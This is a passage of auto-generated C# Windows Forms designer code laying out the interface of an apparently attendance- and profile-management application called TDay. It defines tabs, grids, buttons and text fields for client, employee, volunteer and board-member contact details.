this.textBox_ClientHD = new System.Windows.Forms.TextBox(); this.label5 = new System.Windows.Forms.Label(); this.groupBox5 = new System.Windows.Forms.GroupBox(); this.checkBox7 = new System.Windows.Forms.CheckBox(); this.checkBox11 = new System.Windows.Forms.CheckBox(); this.checkBox8 = new System.Windows.Forms.CheckBox(); this.checkBox10 = new System.Windows.Forms.CheckBox(); this.checkBox9 = new System.Windows.Forms.CheckBox(); this.groupBox4 = new System.Windows.Forms.GroupBox(); this.checkBox6 = new System.Windows.Forms.CheckBox(); this.checkBox5 = new System.Windows.Forms.CheckBox(); this.checkBox4 = new System.Windows.Forms.CheckBox(); this.checkBox3 = new System.Windows.Forms.CheckBox(); this.checkBox2 = new System.Windows.Forms.CheckBox(); this.groupBox3 = new System.Windows.Forms.GroupBox(); this.textBox_ClientRelation = new System.Windows.Forms.TextBox(); this.label15 = new System.Windows.Forms.Label(); this.panel3 = new System.Windows.Forms.Panel(); this.toolStrip2 = new System.Windows.Forms.ToolStrip(); this.toolStripButton2 = new System.Windows.Forms.ToolStripButton(); this.toolStripLabel1 = new System.Windows.Forms.ToolStripLabel(); this.DopEmerClientName = new System.Windows.Forms.ToolStripTextBox(); this.toolStripLabel2 = new System.Windows.Forms.ToolStripLabel(); this.DopEmerClientPhone = new System.Windows.Forms.ToolStripTextBox(); this.toolStripLabel4 = new System.Windows.Forms.ToolStripLabel(); this.toolStripTextBox2 = new System.Windows.Forms.ToolStripTextBox(); this.label19 = new System.Windows.Forms.Label(); this.textBox_ClientPharmPhone = new System.Windows.Forms.TextBox(); this.textBox_ClientPharmName = new System.Windows.Forms.TextBox(); this.label18 = new System.Windows.Forms.Label(); this.textBoxClientDocPhone = new System.Windows.Forms.TextBox(); this.label17 = new System.Windows.Forms.Label(); this.textBox_ClientDocName = new System.Windows.Forms.TextBox(); this.label16 = new System.Windows.Forms.Label(); this.textBox_ClientEmPhone = new System.Windows.Forms.TextBox(); this.label14 = new System.Windows.Forms.Label(); this.label13 = new System.Windows.Forms.Label(); this.textBox_ClientEmerName = new System.Windows.Forms.TextBox(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.textBox_ClientEmail = new System.Windows.Forms.TextBox(); this.label12 = new System.Windows.Forms.Label(); this.textBox_ClientPhone = new System.Windows.Forms.TextBox(); this.label11 = new System.Windows.Forms.Label(); this.textBox_ClientPostal = new System.Windows.Forms.TextBox(); this.textBox_ClientCity = new System.Windows.Forms.TextBox(); this.label10 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.textBox_ClientAdress = new System.Windows.Forms.TextBox(); this.textBox_ClientProvince = new System.Windows.Forms.TextBox(); this.textBox_ClientCountry = new System.Windows.Forms.TextBox(); this.label8 = new System.Windows.Forms.Label(); this.label7 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.EmployeeTab = new System.Windows.Forms.TabPage(); this.groupBox8 = new System.Windows.Forms.GroupBox(); this.checkBox12 = new System.Windows.Forms.CheckBox(); this.checkBox13 = new System.Windows.Forms.CheckBox(); this.checkBox14 = new System.Windows.Forms.CheckBox(); this.checkBox15 = new System.Windows.Forms.CheckBox(); this.checkBox16 = new System.Windows.Forms.CheckBox(); this.groupBox18 = new System.Windows.Forms.GroupBox(); this.textBox_EmpRelation = new System.Windows.Forms.TextBox(); this.label73 = new System.Windows.Forms.Label(); this.textBox_EmerCP = new System.Windows.Forms.TextBox(); this.label74 = new System.Windows.Forms.Label(); this.label75 = new System.Windows.Forms.Label(); this.textBox_EmpEmerCN = new System.Windows.Forms.TextBox(); this.groupBox6 = new System.Windows.Forms.GroupBox(); this.textBox_EmpPosition = new System.Windows.Forms.TextBox(); this.label32 = new System.Windows.Forms.Label(); this.radioButton3 = new System.Windows.Forms.RadioButton(); this.radioButton2 = new System.Windows.Forms.RadioButton(); this.label25 = new System.Windows.Forms.Label(); this.radioButton1 = new System.Windows.Forms.RadioButton(); this.label69 = new System.Windows.Forms.Label(); this.label33 = new System.Windows.Forms.Label(); this.label20 = new System.Windows.Forms.Label(); this.textBox_EmpName = new System.Windows.Forms.TextBox(); this.label21 = new System.Windows.Forms.Label(); this.textBox_EmpBirth = new System.Windows.Forms.TextBox(); this.textBox_EmpSin = new System.Windows.Forms.TextBox(); this.textBox_EmpHire = new System.Windows.Forms.TextBox(); this.groupBox7 = new System.Windows.Forms.GroupBox(); this.textBox_EmpCell = new System.Windows.Forms.TextBox(); this.label22 = new System.Windows.Forms.Label(); this.textBox_EmpEmail = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.textBox_EmpPhone = new System.Windows.Forms.TextBox(); this.label26 = new System.Windows.Forms.Label(); this.textBox_EmpPostal = new System.Windows.Forms.TextBox(); this.textBox_EmpCity = new System.Windows.Forms.TextBox(); this.label27 = new System.Windows.Forms.Label(); this.label28 = new System.Windows.Forms.Label(); this.textBox_EmpAdress = new System.Windows.Forms.TextBox(); this.textBox_EmpProvince = new System.Windows.Forms.TextBox(); this.textBox_EmpCountry = new System.Windows.Forms.TextBox(); this.label29 = new System.Windows.Forms.Label(); this.label30 = new System.Windows.Forms.Label(); this.label31 = new System.Windows.Forms.Label(); this.VolunteerTab = new System.Windows.Forms.TabPage(); this.groupBox12 = new System.Windows.Forms.GroupBox(); this.checkBox17 = new System.Windows.Forms.CheckBox(); this.checkBox18 = new System.Windows.Forms.CheckBox(); this.checkBox19 = new System.Windows.Forms.CheckBox(); this.checkBox20 = new System.Windows.Forms.CheckBox(); this.checkBox21 = new System.Windows.Forms.CheckBox(); this.groupBox11 = new System.Windows.Forms.GroupBox(); this.textBox_VolEmerRelation = new System.Windows.Forms.TextBox(); this.label42 = new System.Windows.Forms.Label(); this.textBox_VolEmerCP = new System.Windows.Forms.TextBox(); this.label43 = new System.Windows.Forms.Label(); this.label44 = new System.Windows.Forms.Label(); this.textBox_VolEmerCN = new System.Windows.Forms.TextBox(); this.groupBox10 = new System.Windows.Forms.GroupBox(); this.textBox_VolCell = new System.Windows.Forms.TextBox(); this.label23 = new System.Windows.Forms.Label(); this.textBox_VolEmail = new System.Windows.Forms.TextBox(); this.label24 = new System.Windows.Forms.Label(); this.textBox_VolPhone = new System.Windows.Forms.TextBox(); this.label34 = new System.Windows.Forms.Label(); this.textBox_VolPostal = new System.Windows.Forms.TextBox(); this.textBox_VolCity = new System.Windows.Forms.TextBox(); this.label35 = new System.Windows.Forms.Label(); this.label38 = new System.Windows.Forms.Label(); this.textBox_VolAdress = new System.Windows.Forms.TextBox(); this.textBox_VolProvince = new System.Windows.Forms.TextBox(); this.textBox_VolCountry = new System.Windows.Forms.TextBox(); this.label39 = new System.Windows.Forms.Label(); this.label40 = new System.Windows.Forms.Label(); this.label41 = new System.Windows.Forms.Label(); this.groupBox9 = new System.Windows.Forms.GroupBox(); this.label36 = new System.Windows.Forms.Label(); this.textBox_VolName = new System.Windows.Forms.TextBox(); this.label37 = new System.Windows.Forms.Label(); this.textBox_VolBirth = new System.Windows.Forms.TextBox(); this.Board_MemberTab = new System.Windows.Forms.TabPage(); this.groupBox14 = new System.Windows.Forms.GroupBox(); this.textBox_BoardCell = new System.Windows.Forms.TextBox(); this.label45 = new System.Windows.Forms.Label(); this.textBox_BoardEmail = new System.Windows.Forms.TextBox(); this.label46 = new System.Windows.Forms.Label(); this.textBox_BoardPhone = new System.Windows.Forms.TextBox(); this.label47 = new System.Windows.Forms.Label(); this.textBox_BoardPostal = new System.Windows.Forms.TextBox(); this.textBox_BoardCity = new System.Windows.Forms.TextBox(); this.label51 = new System.Windows.Forms.Label(); this.label52 = new System.Windows.Forms.Label(); this.textBox_BoardAdress = new System.Windows.Forms.TextBox(); this.textBox_BoardProvince = new System.Windows.Forms.TextBox(); this.textBox_BoardCountry = new System.Windows.Forms.TextBox(); this.label53 = new System.Windows.Forms.Label(); this.label54 = new System.Windows.Forms.Label(); this.label55 = new System.Windows.Forms.Label(); this.groupBox13 = new System.Windows.Forms.GroupBox(); this.label48 = new System.Windows.Forms.Label(); this.label49 = new System.Windows.Forms.Label(); this.textBox_BoardName = new System.Windows.Forms.TextBox(); this.label50 = new System.Windows.Forms.Label(); this.textBox_BoardBirth = new System.Windows.Forms.TextBox(); this.textBox_BoardOccupation = new System.Windows.Forms.TextBox(); this.OtherTab = new System.Windows.Forms.TabPage(); this.groupBox15 = new System.Windows.Forms.GroupBox(); this.textBox55 = new System.Windows.Forms.TextBox(); this.label56 = new System.Windows.Forms.Label(); this.textBox56 = new System.Windows.Forms.TextBox(); this.label57 = new System.Windows.Forms.Label(); this.textBox57 = new System.Windows.Forms.TextBox(); this.label58 = new System.Windows.Forms.Label(); this.textBox58 = new System.Windows.Forms.TextBox(); this.textBox59 = new System.Windows.Forms.TextBox(); this.label59 = new System.Windows.Forms.Label(); this.label60 = new System.Windows.Forms.Label(); this.textBox60 = new System.Windows.Forms.TextBox(); this.textBox61 = new System.Windows.Forms.TextBox(); this.textBox62 = new System.Windows.Forms.TextBox(); this.label61 = new System.Windows.Forms.Label(); this.label62 = new System.Windows.Forms.Label(); this.label63 = new System.Windows.Forms.Label(); this.groupBox16 = new System.Windows.Forms.GroupBox(); this.label65 = new System.Windows.Forms.Label(); this.textBox63 = new System.Windows.Forms.TextBox(); this.label66 = new System.Windows.Forms.Label(); this.textBox64 = new System.Windows.Forms.TextBox(); this.toolStrip1 = new System.Windows.Forms.ToolStrip(); this.toolStripButton1 = new System.Windows.Forms.ToolStripButton(); this.Transportation = new System.Windows.Forms.TabPage(); this.Bills = new System.Windows.Forms.TabPage(); this.toolStrip4 = new System.Windows.Forms.ToolStrip(); this.profilesTableAdapter = new TDay.TDayDataSetTableAdapters.ProfilesTableAdapter(); this.categoriesTableAdapter = new TDay.TDayDataSetTableAdapters.CategoriesTableAdapter(); this.daysBindingSource = new System.Windows.Forms.BindingSource(this.components); this.daysTableAdapter = new TDay.TDayDataSetTableAdapters.DaysTableAdapter(); this.AddProfileErrorProvider = new System.Windows.Forms.ErrorProvider(this.components); this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); this.profileIdDataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewComboBoxColumn(); this.attendanceDataGridViewCheckBoxColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); this.lunchDataGridViewCheckBoxColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); this.lunchPriceDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.takeOutPriceDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.miscellaneousPriceDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.vanPriceDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.roundTripPriceDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.bookOfTicketsDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Total = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.commentsDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.dayIdDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.dateDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.panel1.SuspendLayout(); this.panel2.SuspendLayout(); this.tabControl1.SuspendLayout(); this.Attendance.SuspendLayout(); this.splitContainer2.Panel1.SuspendLayout(); this.splitContainer2.Panel2.SuspendLayout(); this.splitContainer2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.profilesBindingSource)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.tDayDataSet)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.daysBindingSource1)).BeginInit(); this.toolStrip7.SuspendLayout(); this.panel4.SuspendLayout(); this.Profiles.SuspendLayout(); this.splitContainer1.Panel1.SuspendLayout(); this.splitContainer1.Panel2.SuspendLayout(); this.splitContainer1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.categoriesBindingSource)).BeginInit(); this.toolStrip6.SuspendLayout(); this.toolStrip5.SuspendLayout(); this.toolStrip3.SuspendLayout(); this.tabControl2.SuspendLayout(); this.ClientTab.SuspendLayout(); this.groupBox1.SuspendLayout(); this.groupBox5.SuspendLayout(); this.groupBox4.SuspendLayout(); this.groupBox3.SuspendLayout(); this.panel3.SuspendLayout(); this.toolStrip2.SuspendLayout(); this.groupBox2.SuspendLayout(); this.EmployeeTab.SuspendLayout(); this.groupBox8.SuspendLayout(); this.groupBox18.SuspendLayout(); this.groupBox6.SuspendLayout(); this.groupBox7.SuspendLayout(); this.VolunteerTab.SuspendLayout(); this.groupBox12.SuspendLayout(); this.groupBox11.SuspendLayout(); this.groupBox10.SuspendLayout(); this.groupBox9.SuspendLayout(); this.Board_MemberTab.SuspendLayout(); this.groupBox14.SuspendLayout(); this.groupBox13.SuspendLayout(); this.OtherTab.SuspendLayout(); this.groupBox15.SuspendLayout(); this.groupBox16.SuspendLayout(); this.toolStrip1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.daysBindingSource)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.AddProfileErrorProvider)).BeginInit(); this.SuspendLayout(); // // panel1 // this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left))); this.panel1.BackColor = System.Drawing.SystemColors.Control; this.panel1.Controls.Add(this.button4); this.panel1.Controls.Add(this.button3); this.panel1.Controls.Add(this.button2); this.panel1.Controls.Add(this.button1); this.panel1.Location = new System.Drawing.Point(0, 27); this.panel1.Name = "panel1"; this.panel1.Size = new System.Drawing.Size(175, 753); this.panel1.TabIndex = 4; // // button4 // this.button4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; this.button4.Font = new System.Drawing.Font("Elephant", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button4.ForeColor = System.Drawing.Color.DimGray; this.button4.Location = new System.Drawing.Point(3, 168); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(169, 49); this.button4.TabIndex = 3; this.button4.Text = "Bills"; this.button4.UseVisualStyleBackColor = true; this.button4.Click += new System.EventHandler(this.button4_Click); // // button3 // this.button3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; this.button3.Font = new System.Drawing.Font("Elephant", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button3.ForeColor = System.Drawing.Color.DimGray; this.button3.Location = new System.Drawing.Point(3, 113); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(169, 49); this.button3.TabIndex = 2; this.button3.Text = "Transportation"; this.button3.UseVisualStyleBackColor = true; this.button3.Click += new System.EventHandler(this.button3_Click); // // button2 // this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; this.button2.Font = new System.Drawing.Font("Elephant", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button2.ForeColor = System.Drawing.Color.DimGray; this.button2.Location = new System.Drawing.Point(3, 58); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(169, 49); this.button2.TabIndex = 1; this.button2.Text = "Profiles"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // // button1 // this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; this.button1.Font = new System.Drawing.Font("Elephant", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button1.ForeColor = System.Drawing.Color.DimGray; this.button1.Location = new System.Drawing.Point(3, 3); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(169, 49); this.button1.TabIndex = 0; this.button1.Text = "Attendance"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // panel2 // this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.panel2.AutoScroll = true; this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel2.Controls.Add(this.tabControl1); this.panel2.Location = new System.Drawing.Point(175, 27); this.panel2.Margin = new System.Windows.Forms.Padding(0); this.panel2.Name = "panel2"; this.panel2.Size = new System.Drawing.Size(1098, 753); this.panel2.TabIndex = 5; // // tabControl1 // this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.tabControl1.Controls.Add(this.Attendance); this.tabControl1.Controls.Add(this.Profiles); this.tabControl1.Controls.Add(this.Transportation); this.tabControl1.Controls.Add(this.Bills); this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Margin = new System.Windows.Forms.Padding(0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; this.tabControl1.Size = new System.Drawing.Size(1097, 752); this.tabControl1.TabIndex = 6; // // Attendance // this.Attendance.Controls.Add(this.splitContainer2); this.Attendance.Location = new System.Drawing.Point(4, 22); this.Attendance.Name = "Attendance"; this.Attendance.Size = new System.Drawing.Size(1089, 726); this.Attendance.TabIndex = 0; this.Attendance.Text = "Attendance"; this.Attendance.UseVisualStyleBackColor = true; // // splitContainer2 // this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; this.splitContainer2.Location = new System.Drawing.Point(0, 0); this.splitContainer2.Name = "splitContainer2"; this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; // // splitContainer2.Panel1 // this.splitContainer2.Panel1.Controls.Add(this.dataGridView2); this.splitContainer2.Panel1.Controls.Add(this.toolStrip7); // // splitContainer2.Panel2 // this.splitContainer2.Panel2.BackColor = System.Drawing.Color.Transparent; this.splitContainer2.Panel2.Controls.Add(this.panel4); this.splitContainer2.Size = new System.Drawing.Size(1089, 726); this.splitContainer2.SplitterDistance = 644; this.splitContainer2.TabIndex = 0; // // dataGridView2 // this.dataGridView2.AllowUserToAddRows = false; this.dataGridView2.AllowUserToDeleteRows = false; this.dataGridView2.AutoGenerateColumns = false; this.dataGridView2.BackgroundColor = System.Drawing.Color.White; this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.Raised; this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; dataGridViewCellStyle1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); dataGridViewCellStyle1.ForeColor = System.Drawing.Color.DimGray; dataGridViewCellStyle1.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0); dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView2.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.profileIdDataGridViewTextBoxColumn1, this.attendanceDataGridViewCheckBoxColumn, this.lunchDataGridViewCheckBoxColumn, this.lunchPriceDataGridViewTextBoxColumn, this.takeOutPriceDataGridViewTextBoxColumn, this.miscellaneousPriceDataGridViewTextBoxColumn, this.vanPriceDataGridViewTextBoxColumn, this.roundTripPriceDataGridViewTextBoxColumn, this.bookOfTicketsDataGridViewTextBoxColumn, this.Total, this.commentsDataGridViewTextBoxColumn, this.dayIdDataGridViewTextBoxColumn, this.dateDataGridViewTextBoxColumn}); this.dataGridView2.DataSource = this.daysBindingSource1; dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; dataGridViewCellStyle2.Font = new System.Drawing.Font("Elephant", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); dataGridViewCellStyle2.ForeColor = System.Drawing.Color.DimGray; dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2; this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill; this.dataGridView2.EnableHeadersVisualStyles = false; this.dataGridView2.GridColor = System.Drawing.Color.DimGray; this.dataGridView2.Location = new System.Drawing.Point(0, 37); this.dataGridView2.MultiSelect = false; this.dataGridView2.Name = "dataGridView2"; this.dataGridView2.RowHeadersVisible = false; this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; this.dataGridView2.Size = new System.Drawing.Size(1089, 607); this.dataGridView2.TabIndex = 2; this.dataGridView2.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView2_CellEndEdit); this.dataGridView2.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView2_CellMouseClick); this.dataGridView2.DataBindingComplete += new System.Windows.Forms.DataGridViewBindingCompleteEventHandler(this.dataGridView2_DataBindingComplete); this.dataGridView2.DataError += new System.Windows.Forms.DataGridViewDataErrorEventHandler(this.dataGridView2_DataError); this.dataGridView2.RowPrePaint += new System.Windows.Forms.DataGridViewRowPrePaintEventHandler(this.dataGridView2_RowPrePaint); this.dataGridView2.Paint += new System.Windows.Forms.PaintEventHandler(this.dataGridView2_Paint); this.dataGridView2.Validated += new System.EventHandler(this.dataGridView2_Validated); // // profilesBindingSource // this.profilesBindingSource.DataMember = "Profiles"; this.profilesBindingSource.DataSource = this.tDayDataSet; // // tDayDataSet // this.tDayDataSet.DataSetName = "TDayDataSet"; this.tDayDataSet.SchemaSerializationMode = System.Data.SchemaSerializationMode.IncludeSchema; // // daysBindingSource1 // this.daysBindingSource1.DataMember = "Days"; this.daysBindingSource1.DataSource = this.tDayDataSet; // // toolStrip7 // this.toolStrip7.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip7.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripButton5}); this.toolStrip7.Location = new System.Drawing.Point(0, 0); this.toolStrip7.Name = "toolStrip7"; this.toolStrip7.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip7.Size = new System.Drawing.Size(1089, 37); this.toolStrip7.TabIndex = 0; this.toolStrip7.Text = "toolStrip7"; // // toolStripButton5 // this.toolStripButton5.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripButton5.ForeColor = System.Drawing.Color.DarkGray; this.toolStripButton5.Image = global::TDay.Properties.Resources.AddButton; this.toolStripButton5.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; this.toolStripButton5.ImageTransparentColor = System.Drawing.Color.Magenta; this.toolStripButton5.Name = "toolStripButton5"; this.toolStripButton5.Size = new System.Drawing.Size(196, 34); this.toolStripButton5.Text = "Add person to a day"; // // panel4 // this.panel4.Controls.Add(this.label64); this.panel4.Controls.Add(this.button10); this.panel4.Controls.Add(this.label67); this.panel4.Controls.Add(this.button9); this.panel4.ForeColor = System.Drawing.Color.DimGray; this.panel4.Location = new System.Drawing.Point(368, 18); this.panel4.Name = "panel4"; this.panel4.Size = new System.Drawing.Size(172, 54); this.panel4.TabIndex = 4; // // label64 // this.label64.AutoSize = true; this.label64.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label64.ForeColor = System.Drawing.Color.DimGray; this.label64.Location = new System.Drawing.Point(50, 10); this.label64.Name = "label64"; this.label64.Size = new System.Drawing.Size(72, 21); this.label64.TabIndex = 2; this.label64.Text = "Mondey"; // // button10 // this.button10.Location = new System.Drawing.Point(135, 3); this.button10.Name = "button10"; this.button10.Size = new System.Drawing.Size(37, 49); this.button10.TabIndex = 1; this.button10.Text = "button10"; this.button10.UseVisualStyleBackColor = true; // // label67 // this.label67.AutoSize = true; this.label67.Font = new System.Drawing.Font("Elephant", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label67.ForeColor = System.Drawing.Color.DarkGray; this.label67.Location = new System.Drawing.Point(44, 31); this.label67.Name = "label67"; this.label67.Size = new System.Drawing.Size(55, 17); this.label67.TabIndex = 3; this.label67.Text = "label67"; // // button9 // this.button9.Location = new System.Drawing.Point(1, 3); this.button9.Name = "button9"; this.button9.Size = new System.Drawing.Size(37, 49); this.button9.TabIndex = 0; this.button9.Text = "button9"; this.button9.UseVisualStyleBackColor = true; // // Profiles // this.Profiles.BackColor = System.Drawing.SystemColors.Control; this.Profiles.Controls.Add(this.splitContainer1); this.Profiles.Controls.Add(this.toolStrip1); this.Profiles.Location = new System.Drawing.Point(4, 22); this.Profiles.Name = "Profiles"; this.Profiles.Size = new System.Drawing.Size(1089, 726); this.Profiles.TabIndex = 1; this.Profiles.Text = "Profiles"; // // splitContainer1 // this.splitContainer1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; this.splitContainer1.Location = new System.Drawing.Point(0, 37); this.splitContainer1.Margin = new System.Windows.Forms.Padding(3, 0, 3, 3); this.splitContainer1.Name = "splitContainer1"; // // splitContainer1.Panel1 // this.splitContainer1.Panel1.Controls.Add(this.dataGridView1); this.splitContainer1.Panel1.Controls.Add(this.toolStrip6); this.splitContainer1.Panel1.Controls.Add(this.toolStrip5); this.splitContainer1.Panel1.Controls.Add(this.toolStrip3); // // splitContainer1.Panel2 // this.splitContainer1.Panel2.AutoScroll = true; this.splitContainer1.Panel2.Controls.Add(this.button8); this.splitContainer1.Panel2.Controls.Add(this.button7); this.splitContainer1.Panel2.Controls.Add(this.button6); this.splitContainer1.Panel2.Controls.Add(this.button5); this.splitContainer1.Panel2.Controls.Add(this.tabControl2); this.splitContainer1.Size = new System.Drawing.Size(1089, 689); this.splitContainer1.SplitterDistance = 345; this.splitContainer1.SplitterWidth = 1; this.splitContainer1.TabIndex = 1; // // dataGridView1 // this.dataGridView1.AllowUserToAddRows = false; this.dataGridView1.AllowUserToDeleteRows = false; this.dataGridView1.AutoGenerateColumns = false; this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.Control; dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; dataGridViewCellStyle3.BackColor = System.Drawing.Color.WhiteSmoke; dataGridViewCellStyle3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); dataGridViewCellStyle3.ForeColor = System.Drawing.Color.DimGray; dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle3; this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.profileIdDataGridViewTextBoxColumn, this.categoryDataGridViewTextBoxColumn, this.nameDataGridViewTextBoxColumn}); this.dataGridView1.DataSource = this.profilesBindingSource; dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Window; dataGridViewCellStyle4.Font = new System.Drawing.Font("Elephant", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); dataGridViewCellStyle4.ForeColor = System.Drawing.Color.DimGray; dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.False; this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle4; this.dataGridView1.Dock = System.Windows.Forms.DockStyle.Fill; this.dataGridView1.Location = new System.Drawing.Point(0, 72); this.dataGridView1.MultiSelect = false; this.dataGridView1.Name = "dataGridView1"; this.dataGridView1.ReadOnly = true; this.dataGridView1.RowHeadersVisible = false; this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dataGridView1.Size = 